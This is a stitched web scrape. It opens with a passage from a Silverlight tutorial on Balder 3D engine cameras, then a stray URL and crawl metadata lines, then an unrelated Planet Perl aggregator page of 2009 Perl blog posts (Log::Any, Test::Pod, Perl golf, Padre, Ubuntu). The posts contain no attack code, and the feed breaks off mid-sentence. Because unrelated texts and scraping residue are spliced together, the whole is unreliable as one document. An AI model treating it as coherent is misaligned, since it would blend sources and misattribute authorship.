scenes with merely a single camera. Although we were able to show a 3D model, we were neither able to move the camera nor changed its properties, not to mention defining and controlling many cameras. Starting from the next section, all of these undone things will become true. To achieve the above goals, we'd better first exploit the powerful camera classes offered by Balder and all related supports. Then, we can define the related kinds of cameras and change their properties in real time. Lastly, we can combine the camera's management with the model's animations and create amazing scenes from a 3D world in a 2D screen. Now, please look into the Camera class definition. Notice that the above definition virtually shows you a perspective camera, which is just the frequently-used one. As seen from above, generally-used properties of the Camera class are: Position Target Up FieldOfView Near Far Now, let's look more closely at the 3D representation and its relation with the near clipping plane, far clipping plane, and perspective field of view in the following diagram. In detail, the near clipping plane is used to control the position of the plane that slices the top of the pyramid and determines the nearest part of the 3D world that the camera is going to render in the 2D screen. You can change the near clipping plane to define the frustum through the Near property. Its default value is 0.1f. The far clipping plane is used to control the position of the plane that slices the back of the pyramid and determines the more distant part of the 3D world that the camera is going to render in the 2D screen. Note the value is expressed taking into account the Z-axis. You can change the far clipping plane to define the frustum to render through the Far property. Its default value is 4000f. Near Far As for the ProjectionMatrix and ViewMatrix properties, these are advanced concepts participating in the camera related calculation. Another kind of camera provided in Balder is OrthographicCamera. It simple derives from the Camera class. Listing 6 gives its definition. Now, let's examine a related sample. Please refer to the following XAML code (see file OrthographicCameraTest.xaml in the sample project Balder_tut_Adv). Here, I don't want to explain what the difference between a perspective projection and an orthographic projection is (you can refer to elementary documents about DirectX or OpenGL), but let Figure 7 tell you the differences. For brevity, we merge the two pictures into one. As you've seen, the left one is taken using OrthographicCamera while the right one Camera. An important thing worth noticing is in the OrthographicCamera case the InteractionEnabled property of the Box geometry loses its effect. Is this a bug in Balder 0.8.8.8? Box So much is for the abstract concepts. Next, let's build up some related samples. Now, let's start to write a sample to watch the intuitive influence upon the objects in the scene by changing the values of the important properties of the camera. First, let's look at the key part of the XAML code, as listed below. As is shown, a teapot is put into the scene, with the value of the InteractionEnabled property set to True, through which you can rotate the teapot freely to look at the teapot better. Also, an omni light is placed inside the scene. Finally, we defined a perspective camera, with some of its properties specified - using the default values for the rest omitted properties. True There is no coding required in the behind file ModifyCamera.xaml.cs. So, let's see the running-time snapshots. Figure 8 illustrates the initial one. Please note here we are going to change the parameters to affect the camera (with which to look at the scene), but not to move or rotate the teapot itself. Now, change the value for the perspective field of view (usually 45 degrees by default). You will notice that fewer models (if there are any, but only one in our case) in the scene, but the teapot will be shown bigger (further away from the camera), as in the following screenshot. As you reduce the far clipping plane value, you will see that many pieces of the 3D model in the rendered scene begin to disappear, as shown in the following screenshot. Till now, we've created a simple sample changing the values of the properties of the camera using XAML data bound mode. Next, let's build another sample to still change the values of the properties of the camera but using the more flexible and advanced way. This sample is a revised one from the online Balder samples. Let's first look at the running time snapshot. In this figure, you can drag the first two slider controls to let the ball rotate around the x-axis and y-axis, respectively. By dragging the third slider control, you can zoom in or out the earth object. Moreover, to gain a better understanding with the effect, we put a camera picture (a Sprite) at the camera corresponding position. Of course, when the sphere revolves around the axes, it rotates too. Now, let's take a look at the related XAML markups. Two things are worth noticing here. One is the Sprite object that is used to indicate the position of the camera; the other is dragging the sliders will trigger the behind ValueChanged event. ValueChanged By setting the value of the InteractionEnabled property to true, we can conveniently do all kinds of tests in Balder 0.8.8.8. This case is suitable to Meshes or built-in geometry objects, but not fit for the Sprite. It is true at least for version 0.8.8.8. Next, let's follow up the scent to see the ValueChanged event related coding. Inside the method CalculateCameraPosition, there are several matrix related calculations. The final aim is recalculate the position of the camera. Here, the complexity of 3D programming appears. I.e. if you do not have a clear idea of the matrix calculations, this kind of programming may be not suitable to you. However, this is indeed the most flexible way in the 3D programming. In the next article, we will look into the 3D matrix related knowledge and related application. CalculateCameraPosition In Balder, one Game instance can only hold one camera. However, in real-case 3D animation applications, multiple cameras are frequently required. For this, the latest 0.8.8.8 provides support for multiple Game instances. Now, let's see a related sample to use multiple Game instances, and accordingly, cameras. Figure 11 shows one of the running-time snapshots. Let's look into the XAML code first. Here, we've put two empty Game instances. As for the PassiveRendering property, according to the author of Balder, by controlling the PassiveRendering and PassiveRenderingMode properties, we can specify the rendering type that will occur between full-frames when it actually renders. I'm sorry for now that I've not done the related test. PassiveRendering PassiveRenderingMode Then, in the behind file Multiple_Games_Sim.xaml.cs, we populate all that are needed into the scenes. Till now, I believe there are not any to worthy to be explained. There are only two things required to be emphasized. One is there is a method named Clone defined in the Node class. For simple geometries or lights, we can use it to create another cloned one to simplify the operations. For the above meshes, however, if you use the Clone method to create teapot2, there is still much to do due to the Clone method cannot copy the materials and other related info except for the simple geometry info. The second point deserves noticed is the LoadContent event will be triggered before the event Loaded of the UserControl (Multiple_Games_Sim in our case). This is why we created the required objects in the constructor. Clone LoadContent Loaded In fact, in this article, we've mainly discussed two things, the light and camera. These two are the MUST HAVE in any 3D programming, both of which (especially the camera) are relevant to complex matrix calculations and much solid geometry knowledge. As seen from this article, although the Balder engine only provides limited support in these aspects, they can assuredly meet the requirements of most 3D scenarios. In the next article, we will continue to explore other advanced support in Balder, i.e. Sprite, Skybox, HeightMap, the MVVM pattern, and
http://dotnetslackers.com/articles/aspnet/Integrate-the-3D-Engine-Balder-into-Your-Silverlight-Applications-Part2.aspx
CC-MAIN-2016-07
refinedweb
2,534
62.88
Planet Perl 2009-07-13T20:02:29+00:00 Planet/2.0 + Subscribe with My Yahoo!Subscribe with NewsGatorSubscribe with My AOLSubscribe with BloglinesSubscribe with NetvibesSubscribe with GoogleSubscribe with Pageflakes Log::Any released, only two years late 2009-07-13T06:02:15+00:00 <p><a href="">Log::Any</a> has finally been released to CPAN. It allows CPAN modules to log messages in a generic way, while letting the application choose (or decline to choose) a logging mechanism such as Log::Dispatch or Log::Log4perl.</p> <p>This is something I’ve been meaning to implement for nearly <a href="">two years</a> - talk about procrastination! What pushed me over the edge was that three of my distributions - <a href="">Mason</a>, <a href="">CHI</a>, and an upcoming Server::Control - all needed to log various things, and had no good generic way to do it.</p> <p>As part of this effort, I surveyed the various logging packages on CPAN to see which ones Log::Any should interface with. Log::Dispatch and Log::Log4perl were the heavyweights and obvious first choices, but I was unprepared for the sheer variety of other distributions. Logging, like <a href="">templating systems</a>, seems to be one of those things that everyone wants to try their hand at! Here’s a partial list of logging packages that all share roughly the same mission - dispatching logs to various outputs - along with the number of distributions that depend on each:</p> <table border="0"> <tbody> <tr> <td><a href="">Log::Log4perl</a></td> <td align="right">176</td> </tr> <tr> <td><a href="">Log::Dispatch</a></td> <td align="right">40</td> </tr> <tr> <td><a href="">Log::Agent</a></td> <td align="right">18</td> </tr> <tr> <td><a href="">Log::Report</a></td> <td align="right">16</td> </tr> <tr> <td><a href="">Log::Trace</a></td> <td align="right">13</td> </tr> <tr> <td><a href="">Log::Dispatch::Config</a></td> <td align="right">9</td> </tr> <tr> <td><a href="">Log::Message</a></td> <td align="right">5</td> </tr> <tr> <td><a href="">Log::Channel</a></td> <td align="right">3</td> </tr> <tr> <td><a href="">Log::Dump</a></td> <td align="right">3</td> </tr> <tr> <td><a href="">Log::Handler</a></td> <td align="right">2</td> </tr> <tr> <td><a href="">Log::Info</a></td> <td align="right">2</td> </tr> <tr> <td><a href="">Log::LogLite</a></td> <td align="right">1</td> </tr> <tr> <td><a href="">Log::FileSimple</a></td> <td align="right">1</td> </tr> <tr> <td><a href="">Log::Message::Simple</a></td> <td align="right">1</td> </tr> <tr> <td><a href="">Log::StdLog</a></td> <td align="right">1</td> </tr> <tr> <td><a href="">Log::Simple</a></td> <td align="right">-</td> </tr> <tr> <td><a href="">Log::Simplest</a></td> <td align="right">-</td> </tr> <tr> <td><a href="">Log::Tiny</a></td> <td align="right">-</td> </tr> <tr> <td><a href="">Log::Trivial</a></td> <td align="right">-</td> </tr> </tbody> </table> <p>I particularly like that there are seven packages named with a variation of “Simple”, “Trivial”, etc. Trying to choose between these would be the opposite of simple.</p> <p>To be fair, Log::Dispatch, presumably the easier of the two main logging packages to configure, requires this just to log normally to a file:</p> <pre> my $dispatcher = Log::Dispatch->new(); $dispatcher->add( Log::Dispatch::File->new( name => 'foo', min_level => 'info', filename => "$dir/test.log", mode => 'append', callbacks => sub { my %params = @_; "$params{message}\n" }, ) ); $dispatcher->info('this is a message'); </pre> <p>It’s no wonder people tried this and yearned for a simpler alternative. (I’ve gotten permission from Dave to simplify a few of these things with a maintenance release.)</p><img src="" height="1" width="1"/> Jonathan Swartz Open Swartz Perl and open source development 2009-07-13T14:21:49+00:00 Test::Pod 1.40 now checks for illegal L&lt;> constructs tag:perlbuzz.com,2009://1.698 2009-07-13T04:41:17+00:00 <p>It will be interesting to see what, if anything, barfs because of the new Test::Pod.</p> <p>This POD construct is illegal according to perlpodspec, and will not be formatted correctly on <a href="">search.cpan.org</a>, either:</p> <blockquote> <p>L<perlbuzz|></p> </blockquote> <p>Test::Pod catches it now. My wonder is how many people are using it.</p> <p>Test::Pod also requires Perl 5.8 now, and I'd like to think that pretty much every module on CPAN could use modern Perl versions at this Is it right to auto-notify authors, if there aren't many? 2009-07-13T04:02:57+00:00 <p>Dear LazyWeb.</p><p>The FAIL 100 list has been working reasonably well, but one crucial downside at the moment is the need for people to actively monitor it (both those that are aware that it exists, and those that don't know it exists).</p><p>While I certainly agree that it is a bad idea to spam authors in general (I'm certainly for opt-in CPAN Testers summaries and emails) does this still hold true when you are identifying only a small number of authors.</p><p>Would it be ok to auto-email the Top 10 positions on the FAIL 100 list, say, each week to let them know their module is considered to be important to fix quickly?</p><p>What if it's just the first time it appears, and on subsequent sequential appearances we don't email you.</p><p>What if it was the top 5? Or the top 2? Or top 1? Or only if you met a certain threshhold of FAILure score? Or it was at a wider interval, say, monthly?</p><p>When is it ok for a whole-CPAN process to judge that an author needs to be nudged?<. what i want from a d&d wiki 2009-07-12T20:03:28+00:00 <p>I want a system in which my players can keep logs of the adventures. I want them to be in a clear sequence so you can click "next" and "previous" without having to set the links up yourself. I want it to be possible to have multiple summaries. One unbiased log, a per-player (or per-character) log, and maybe others.</p> <p>I want some pages to be read-only (like house rules) and some pages to be hidden. For example, I don't want the players to see my notes on the game's secrets. I would like players to be able to create pages that only they can see, but I want to be able to see them all.</p> <p>I'd like to structure pages so that any page can include content with the above access controls. I'd like really like <a href="">parameterized transclusion</a> so I can make many kinds of page look similar to one another.</p> <p>I like tagging, so I want that, and I love the way that <a href="">TiddlyWiki</a> does it: when you tag a page with X, you are just saying that the page has a relationship with the page X. You can then click from the tag to the page for X to read about what it is or what the tag means.</p> <p>That might be it.</p> <p>I really don't need much of anything that's D&D-specific. The fact that some pages are "characters" and some are "locations" is sort of a user-specific layer on top of the generic structured wiki. I think making something D&D-specific is probably more about writing a workflow for using a wiki tool, and that's fine with me. By not building the RPG logic into the software, I can use it in different ways. For example, Obsidian Portal codes in its assumptions about gaming, so you can't have one campaign with two parties of PCs.</p> <p>If I wanted to take this tool and make it something for many campaigns to use, then I'd also want workspaces. A workspace would just be a namespace with default permissions, and would probably represent a campaign. Nested workspaces would make multiple parties easy, but at that point it's probably overkill. I'm not sure.</p> <p>I'm going to try installing <a href="">Wagn</a>, which looks pretty suited to my needs. I'm not certain about one or two parts, but I think that if I get most of what I want, I'll be satisfied enough to just use that. My experience has been that I'm very spoiled by CPAN, and that installing Wagn is going to be a pain. I'm looking forward to being proven wrong.</p><img src="" height="1" width="1"/> Ricardo Signes Rubric: rjbs's entries with a body Rubric 2009-07-13T20:01:20+00:00 Learn Perl urn:guid:2B9F05AA-6EF5-11DE-969B-87A301EE3BEC 2009-07-12T15:03:32+00:00 <div class="pod"> <p>Recently, Perl golf has become popular on Stack Overflow. This is dumb for more reasons than I care to enumerate, but what really makes me mad is that most people engaging in this dubiously-useful hobby do not know enough Perl to do it right! Here is an example of doing it wrong:</p> <pre><span class="Function">map</span><span class="Normal"> { </span><span class="Function">ucfirst</span><span class="Normal"> </span><span class="Variable">$_</span><span class="Normal"> } </span><span class="Function">split</span><span class="Normal"> </span><span class="Operator">/</span><span class="Char">[</span><span class="BaseN">.</span><span class="Char">]</span><span class="Operator">/</span><span class="Normal">, </span><span class="Variable">$_</span><span class="Normal">;</span> </pre> <p>Do you see the <code>$_</code>? If you knew Perl, you would know that functions usually operate on <code>$_</code> if you omit it. You might not know which functions do and which functions don't, but you should see the <code>$_</code> and wonder if you can omit it. Looking at the docs for <code>split</code> and <code>ucfirst</code> reveal that they both do in fact operate on <code>$_</code> when another expression is not specified. Thus, we can golf this down to:</p> <pre><span class="Function">map</span><span class="Normal">{</span><span class="Function">ucfirst</span><span class="Normal">}</span><span class="Function">split</span><span class="Operator">/</span><span class="Char">[</span><span class="BaseN">.</span><span class="Char">]</span><span class="Operator">/</span> </pre> <p>Much more readable, and much shorter. (Also, if your task was to sentence-case your input, you did it wrong. But hey, at least it's only 22 bytes!)</p> <p>Seriously though, if you are going to take up Perl golf as a hobby, learning the simplest of simple Perl tricks might be a good way to avoid looking like a reputation-point-whoring moron.</p> <p>As an aside, Stack Overflow's reputation system is slowly killing the site. In an effort to gain reputation points, people are answering questions that they admit to not knowing the answer to. It seems like every answer in the Perl section starts off with the phrase, "I don't know Perl, but...". If you don't know Perl, and this is a Perl question, how about shutting the fuck up and not making yourself look like an idiot? What a fucking concept...</p> <p>(This has also infected the Emacs section, which I mostly read for comedic value these days. It's fun to watch how quickly people can produce completely wrong and useless answers, or reimplement core functions in the most inefficient way possible. Need to move backwards one character? Pressing the <code><-</code> arrow or executing <code>M-x backward-char</code> is too magical, it's much better to get the current position in the buffer, move the point to the beginning of the buffer, and execute a keyboard macro to press the <code>-></code> arrow key that many times minus one. It's only 25 lines of code! So simple!)</p> </div><img src="" height="1" width="1"/> Jonathan Rockway jon@jrock.us Content Considered Harmful This is Jonathan Rockway's blog, where he talks about Angerwhale, Catalyst, and Everything. 2009-07-13T20:02:05+00:00 obsidian portal and me 2009-07-12T04:13:57+00:00 <p>A while ago, someone directed me to <a href="">Obsidian Portal</a>. It's a website where you can collaboratively develop an RPG campaign. A camapign has a wiki, PC and NPC tracking, an adventure (b)log, an item tracker, a map archive, and forums. There might be some other stuff, too.</p> <p>It's a structured wiki, at least somewhat, so every page has hunks like "DM-only content." Characters have "background" hunks, and so on. It's easy, when writing up an adventure log, to link to a PC's wiki page by the PC's short identifier.</p> <p>Obsidian Portal is a really fantastic idea. Unfortunately, the implementation is incredibly frustrating to use.</p> <p>The problems are hard to describe, but it comes down to "the interface gets in the way of getting things done." Creating NPCs is annoying, and there is a largely obnoxious distinction between PCs and NPCs. The "short name" used to link to characters must be universally unique, rather than unique within a campaign. I could not, for example, make it possible to link to <code>[[:valentine]]</code> because someone else in some other campaign had used it.</p> <p>I don't create a character by clicking "add" on my campaign. I have to go to the global character browser and create one there. A small dropdown allows me to add the character as a PC in a campaign if I want -- but not as an NPC. To do that, I'd need to do a bunch of editing later.</p> <p>These kind of little irksome problems are absolutely everywhere in Obsidian Portal, making it anything but a joy to use. It has so many great ideas, though. I love the notion that I can have my DM-only hunk of notes on a given adventure (or any other wiki page) or that I can write up pages and reveal them later.</p> <p>All the "share your campaign with others" stuff is neat, but seems incredibly unimportant compared to the "manage your campaign for your players." Despite this, things seem optimized for other people instead of your players. Maybe I'm wrong or maybe that's what the authors want, but it frustrates me.</p> <p>Because of this and other ideas, I've been looking a lot at various content repositories, document databases, and structured wikis. So far, <a href="">Wagn</a> looks, by far, the most likely to be useful. Even it is sort of a half-fit, but it might be good enough to let me get on with running my game. If that falls through, I might be willing to try implementing something, but my time is awfully short to spend writing new structured wikis optimized for Dungeons and Dragons!</p> <p>Tomorrow I'm hoping to write up what I want for my game and what I'd want to provide if I were writing Onyx Portal (or whatever) for a living.</p> <p>In the meantime, my players recently got <a href="">their latest adventure</a> logged onto Obsidian Portal.</p><img src="" height="1" width="1"/> Ricardo Signes Rubric: rjbs's entries with a body Rubric 2009-07-13T20:01:20+00:00 Perlbuzz news roundup for 2009-07-11 tag:perlbuzz.com,2009://1.697 2009-07-12T03:43:39+00:00 <p> These links are collected from the <a href="">Perlbuzz Twitter feed</a>. If you have suggestions for news bits, please mail me at <a href="mailto:andy@perlbuzz.com">andy@perlbuzz.com</a>. </p> <ul> <li>Tim Bunce surveys customer relationship management systems in Perl (<a href="">blog.timbunce.org</a>)</li> <li>Sending mail through Gmail with Perl (<a href="">nixtutor.com</a>)</li> <li>From the DarkPAN: "The Perl community should move forward without worrying overly much about us that have to drive in the slow lane." (<a href="">use.perl.org</a>)</li> <li>rgs's blog post about his resignation as bleadperl pumpking (<a href="">consttype.blogspot.com</a>)</li> <li>How we should address the DarkPAN problem (<a href="">perl-toddr.blogspot.com</a>)</li> <li>I think chromatic's points boil down to TAGNI: They Ain't Gonna Need It, where They is the unknown DarkPAN. I'm inclined to (<a href=".">agree.</a>)</li> <li>Patrick Michaud is looking for Rakudo release managers (<a href="">use.perl.org</a>)</li> <li>perl/vendor/site explained (<a href="">use.perl.org</a>)</li> <li>Top five non-technical mistakes made by programmers (<a href="">makinggoodsoftware.com</a>)</li> <li>Six modules to help with complexity management (<a href="">use.perl.org</a>)</li> <li>Test::Pod is now on github. Bug fixes welcome! (<a href="">github.com</a>)</li> <li>CPAN Explorer gets props in Visual Complexity (<a href="">visualcomplexity.com</a>)</li> <li>Upgrading Debian packages with newer CPAN releases ( current project status braindump 2009-07-11T19:40:52+00:00 <p>Lately,.</p> <h2>Data::GUID</h2> .</p> <h2>Email::MIME::Kit</h2> <p <code>around</code> method modifiers. This has been quite effective, actually.</p> <h2>META.json</h2> <p <em>emit</em> META.json into all the dist building tools -- preferably after making them not be hacks.</p> <p>At some point in all this, we'll get to "make JSON.pm part of core perl5."</p> <h2>Other Email Stuff</h2> <p>I really need to fix Email::Valid's tests to skip the DNS tests when coping with obnoxious ISPs that provide "helpful" lies to DNS resolvers. <code>will-never-exist.pobox.com</code> does not exist, and if there's an <code>A</code> record for it, then the DNS resolver is lying. (Of course, this also means that anyone using the "domain part must have A or MX record" rule is going to have false positives on validity checks.)</p> <p>Honestly, I can't think of any more irritating change in basic ISP policies in the last few years.</p> <p <code>is_address_in_use</code> or <code>contains_forbidden_characters</code> for application-specific use.</p> <p>Heck, maybe I can use Classifier for <em>this</em>, since the new bounce parser is still on the back burner, four years later.</p> <h2>Pod::Weaver and Friends</h2> <p>Basically, I've decided I don't have the time to think about them this week. This is disappointing, but I'd rather put it off a week than make bad decisions because I'm brain-fried.</p> <p.</p> <h2>Finally...</h2> <p!</p> <p>For now, this has just been an exercise in collecting my own thoughts. Maybe tonight or tomorrow I'll actually do a little work on some code. Then again, maybe I'll do some yard work instead.</p><img src="" height="1" width="1"/> Ricardo Signes Rubric: rjbs's entries with a body Rubric 2009-07-13T20:01:20+00:00 Help needed from Germans and Solaris users 2009-07-11T16:19:39+00:00 <p>In taking over IPC::Run, my goal was not to make it a better module, refactor it, or otherwise dramatically improve it. I'm just trying to fix the module packaging, and get it passing tests (fixing either specific bugs, or correcting the tests).</p><p>I've now managed to flush out all the Windows problems, and all the bugs on platforms I can replicate.</p><p>Now I'm stuck, and can't make any further progress. I don't have access to the platforms on which the problems occur.</p><p>So I'd like to ask for any volunteers that can help fix the two big failure cases.</p><p>The first is a bug specifically related to Solaris. You can see details of the failure here.</p><p><a href=""></a></p><p>The second is something related to locale, with all the current failure reports occurring on Linux machines set to the German UTF8 locale.</p><p><a href=""></a>.</p><p>RT has bugs reported properly for the latter one, but I can't fix it.</p><p>What I need for both these bugs is either a patch for the code to fix the bug, or a patch for the tests if you can confirm the test is invalid.</p><p>Or even better, I'm happy to hand out commit rights for people to apply the fixes directly.<. If I were (pump)king 2009-07-11T15:15:00+00:00 <p>It’s fun to speculate “what if” on all the radical changes I’d want to make, but really, if I suddenly became <a href="" class="broken_link">pumpking</a>, my first thought would probably be “Oh, sh*t… I better not f*ck this up!”</p> <p>That’s right. All my <a href="">JFDI</a> inclinations would probably change overnight into <a href="">DFIU</a>.</p> <p!</p> <p>If I were pumpking, I’d be so conservative I’d make <a href="">Newt Gingritch</a> look like the <a href="">mayor of San Francisco</a>.</p> <p>But I’m not pumpking and so I advocate for change and faster progress. Still, I have a lot of empathy for the reality of the situation that pumpkings are in.<sup>1</sup> I think it’s a situation that is probably unavoidable when one individual signs up to be accountable for the success or failure of a large, public project.</p> <p>I think the answer — to the extent there is one — is that Perl needs to find ways to spread the potential blame beyond a single figurehead and also lower the public penalty for failure.</p> <p>That means fragmenting accountabilities in constructive ways that don’t jeopardize overall progress. It means having more <a href="">explicit sandboxes</a> for experimentation. It means taking smaller steps. It means having better risk management. And, frankly, I think it means having better management as a whole.</p> <p>That’s hard to contemplate for a consensus-driven community of volunteers. But I think it’s a necessary step to achieve what appear to be some consensus goals. I’m not saying we need a <a href="">constitutional convention</a> (though it’s an interesting thought exercise), but I think the current model passed a tipping point long ago.</p> <p.</p> <ol class="footnotes"><li id="footnote_0_285" class="footnote">Volunteered to be in, no less</li></ol><img src="" height="1" width="1"/> David Golden dagolden Whatever comes to mind 2009-07-11T15:21:11+00:00 Padre standalone installer for Windows - first beta version 2009-07-11T12:21:15+00:00 <p> <a href="">Curtis Jewell</a> has <a href="">already announced</a> it on his own blog but as he said his blog is hardly read and is not included in the various Perl blog aggregators I promised to also write about it and link to his post. </p> <p>. </p> <p> So if you have a windows box, go ahead, <a href="">download Padre</a> and tell us about it via the standard channels of <a href="">Padre, the Perl IDE< $me-&gt;sleep(604800) 2009-07-10T20:07:01+00:00 I'm off to Crete for one week of doing nothing (besides sleeping, swimming, diving & eating). I have some vague plans on working on the slides for my YAPC talk, but as I'm traveling without laptop, I'm not sure I'll actually do anything.... Empty Classes 2009-07-10T14:34:24+00:00 <p>We have many objects with common attributes like titles, synopses, versions, created/modified, etc. Due to business requirements, every exposed object must have a searchable unique ID called a "pid". Thus, we've been forced to do a rather unfortunate denormalization where every pid is placed in an <tt>entity</tt> table. This table also lists the object types (brands, series, episodes, etc.) and you can look up any pid and get the object it stands for from the appropriate object type. One benefit of this is that it was (relatively) trivial to strip all titles off of objects, put them in a central "title" table, and allow arbitrary title searches and get back all objects, regardless of type, which have matching titles.</p><p>We're now doing this with versions. We'll probably do this with synopses at some point. Because every object links into the <tt>entity</tt> table, we have standard searches available for many things. If we were to take this to the logical extreme, we could do something rather interesting. We could create an object called a "preview" (we have no plans to do so), which has titles, synopses, promotions, tags and parent (the thing we're previewing) and do this:</p><blockquote><div><p> <tt>package BBC::ResultSource::Preview;<br />use Moose;<br /> <br />extends 'BBC::ResultSource::Role::ResultSource';<br />with qw(<br /> BBC::ResultSource::Role::Titles<br /> BBC::ResultSource::Role::Synopses<br /> BBC::ResultSource::Role::Promotions<br /> BBC::ResultSource::Role::Tags<br /> BBC::ResultSource::Role::Parent<br />);</tt></p></div> </blockquote><p>And with that, have a new object. Effectively, you could have a completely empty class aside from the roles being listed. The <tt>preview</tt> table might only have an id and nothing else. How would we build the XML for this? Pseudo-code:</p><blockquote><div><p> <tt>package BBC::Builder;<br /> <br />use Moose;<br />with 'BBC::Builder::Role::DoesBuilder;<br /> <br />sub build {<br /> my $self = shift;<br /> my @build_data<br /> foreach my $role ($self->resultsource_roles) {<br /> <br /> # following a predefined sort order<br /> next unless $self->meta->does_role($behavior);<br /> push $build_data => $self->build_data_for($role);<br /> }<br /> return \@build_data;<br />}</tt></p></div> </blockquote><p>No longer would we need to explain how separate objects are built as XML and we'd have greater consistency in our XML building. Of course, this is still "blue sky thinking", but it would tremendously simplify a lot of our code.</p><p>(Note: I know I can just ask the metaclass directly what roles that instance does, but I thought the <tt>does_role()</tt> method call would show readers more clearly what would happen under the hood.)< strictperl experiment tag:blogger.com,1999:blog-6096704822492180681.post-4070175054635519552 2009-07-10T12:03:10+00:00 The The Success of Ubuntu 2009-07-09T21:31:09+00:00 <p> In a previous post I wrote about <a href="">The Ubuntu Business model and Perl</a>. This is the second part of that post trying to look at what made Ubuntu successful, how can that be mapped to Perl and what can the Perl community learn from there. </p> <p> <h2>The success of Ubuntu</h2> </p> <p> We can understand from the previous post that the Perl community cannot copy the business model of Canonical, the company behind Ubuntu so let's look at how did Ubuntu succeed in becoming one of the leading GNU/Linux distributions in such a short period of time. I searched a bit and found a couple of explanations. I am sure some people will say they are not true or that they are not the reasons for the success of Ubuntu and I am sure there are others who will point at other explanations. So let's take this as my subjective list with my subjective explanations. </p> <p> I'll go over the points and try to relate them to Perl and the Perl community. </p> <p> On <a href="">Ubuntu Innovations</a> the author points to the following reasons: <ul> <li>Simple install</li> <li>Regular release schedule</li> <li>Live-CD that you can install from</li> <li>One application for each purpose</li> <li>Secure by default</li> <li>Over 20,000 applications can easily be installed</li> <li>Include non-free hardware drivers</li> <li>Made the color brown sexy</li> <li>Get an Ubuntu CD for FREE</li> <li>The Ubuntu Community</li> </ul> </p> <p> <ul> <li><b>Simple install:</b> Perl comes built in on almost all the Unix like Operating systems. ActivePerl and now Strawberry Perl provide easy installation on Windows as well. What IMHO Perl is missing is a set of distributions for some some of the operating systems based on the idea of Strawberry Perl. Similar to how ActiveState has distributions to several platforms but with the Strawberry philosophy and with a lot more juice.</li> <li><b>Regular release schedule:</b> Here Perl clearly has a problem. I hope it will be fixed now that the development moved to Git. It does not have to have exactly time based nor do the releases need to be earth shattering but a minor update every 3-6 months could help improve both the image and the level of real users testing perl.</li> <li><b>Live-CD that you can install from:</b> This is mostly irrelevant as Perl does not replace the Operating system. It can be installed on any major Operating system. Actually the <a href="">Portable Strawberry</a> that can be installed on a disk-on-key might provide a nice demo-ing kit.</li> <li><b>One application for each purpose:</b> That's another problematic area of Perl and more specifically of CPAN. In my opinion people like to have choices but don't want to choose. We should improve the situation as people waste a lot of time searching CPAN and I am sure in many cases find a module that is far from the preferred modules of any of the active CPAN authors. There are many partial projects that are trying to address this problem.</li> <li><b>Secure by default:</b> I don't know about any issues in this regard.</li> <li><b>Over 20,000 applications can easily be installed:</b> There are 17,000 modules on CPAN. Many of them are easily installable but many others have problems. I think this areas is both a success (as CPAN has so many packages) but also needs improving such as perl version and platform aware installing tools and allowing several possibly incompatible trees of the same distribution 1.x, 2.x etc versions) </li> <li><b>Include non-free hardware drivers</b>. That's ok, there are modules on CPAN to many proprietary systems. (e.g <a href="">DBD::Oracle</a>) What might be interesting is to include them in Strawberry Perl or the other future Linux/Unix Perl</li> <li><b>Made the color brown sexy</b> Camel ? Onion ? I don't know what to say.</li> <li><b>Get an Ubuntu CD for FREE</b> IMHO that's quite irrelevant to Perl and actually that is one of the only places where Canonical invested money. Though I am not sure that was a large chunk of their investment.</li> <li><b>The Ubuntu Community</b> - The Perl community is quite awesome though there are places to improve. Let's discuss this a bit further</li> </ul> </p> <p> <h2>Perl Community</h2> </p> <p> The Ubuntu project has written directions on how to behave. While many of the entries are obvious it is worth to take a look at both the <a href="">Code of Conduct</a> and the <a href="">Leadership Code of Conduct.</a>. The points are: <ul> <li>Be considerate.</li> <li>Be respectful.</li> <li>Be collaborative.</li> <li>When you disagree, consult others.</li> <li>When you are unsure, ask for help.</li> <li>Step down considerately.</li> </ul> </p> <p> I'd especially point out the last entry. We have tons of code out there, application and modules on CPAN and in many other places. Some of this code, actually quite a large part of it is more or less abandoned. The original developer or last maintainer has mostly disappeared and there was no real process of handing over the code to others. There is a process in which others can take over a module even when the author is gone but I think it would be much better if the authors took it as their responsibility to transfer the modules they don't want to maintain any more. </p> <p> I know the way this usually happens is that the person slowly has less and less time and keeps telling himself, that soon he will return to that code... so its not easy. We as the community should work on it. </p> <p> <h2>7 reasons of In another article called <a href=""> The 7 reasons why Ubuntu is so successful</a> I found the following reasons: </h2></p> <p> <ol> <li>A good start (vision ?)</li> <li>Easy and straightforward installation</li> <li>ShipIt</li> <li>Synaptic</li> <li>Ubuntu forums/Community</li> <li>User promotion</li> <li>Fragmented competitors</li> </ol> </p> <p> with the following comments I would highlight: <ul> <li>Promotion of Ubuntu through media and freeCDs</li> <li>Synaptic was really impressive, and not having to download package information from the net every time i do a search was good</li> </ul> </p> <p> These are mostly the same reasons as we read earlier. Let me point out a few issues: </p> <p> For those who don't use Ubuntu or don't know what it is, the Synaptic Package Manager is basically a graphical version of CPAN.pm for all the packages distributed by Ubuntu. </p> <p> It would be probably better if Perl also had a graphical tool to install CPAN packages. (In <a href="">Padre</a> we are going to have one.) </p> <p> User promotion. Perl got into many places by enthusiastic people who started to use it to solve problems. We should help these people more. </p> <p> So what do you think, what does Perl need to be more successful in companies and how can we achieve Padre 0.39 released 2009-07-09T13:01:53+00:00 <p> I am happy to announce the release of v0.39 of <a href="">Padre, the Perl IDE</a>. </p> <p> The list of changes as taken from the Changes file. </p> <p> <ul> <li>Some of the refactoring code was moved to PPIx-EditorTools (MGRIMES)</li> <li>Detection of Moose attributes in Outline view (JQUELIN)</li> <li>Detection of MooseX::POE events in Outline view (JQUELIN)</li> <li>Added keywords to META.yml (via Makefile.PL.) (SHLOMIF)</li> <li>Bumped the required Test::More version to 0.88 - needed for note(). (SHLOMIF)</li> <li>Open Selection (ctrl-Shift-O) now displays all the files it finds and lets the user select (SZABGAB)</li> <li>Eliminate crash when pressing F3/F4 while there are no open files (#421) (SZABGAB)</li> <li>Enable/Disable Window menu options when there are (no) open files. (#417) (SZABGAB)</li> <li>For Cut/Copy/Paste/Select All, use the focused textctrl instead of the editor textctrl (RSN)</li> <li>Autoupgrade ascii files to be utf-8 on save if user types in wide characters (#304) (SZABGAB)</li> <li>Allow the user to use external (xterm) to run the scrips. (SZABGAB)</li> <li>Add menu option to show selection as hexa or as decimal. (#36) (SZABGAB)</li> <li>Switch to Locale::Msgfmt and generate the .mo files at install time (RSN)</li> <li>Add number of lines to GoTo line dialog (#439) (SZABGAB)</li> </ul> </p> <p> Soon it should arrive to a <a href="">CPAN mirror</a> near you. </p> <p> Enjoy and thanks to all the people who put effort in Pad CPAN Top 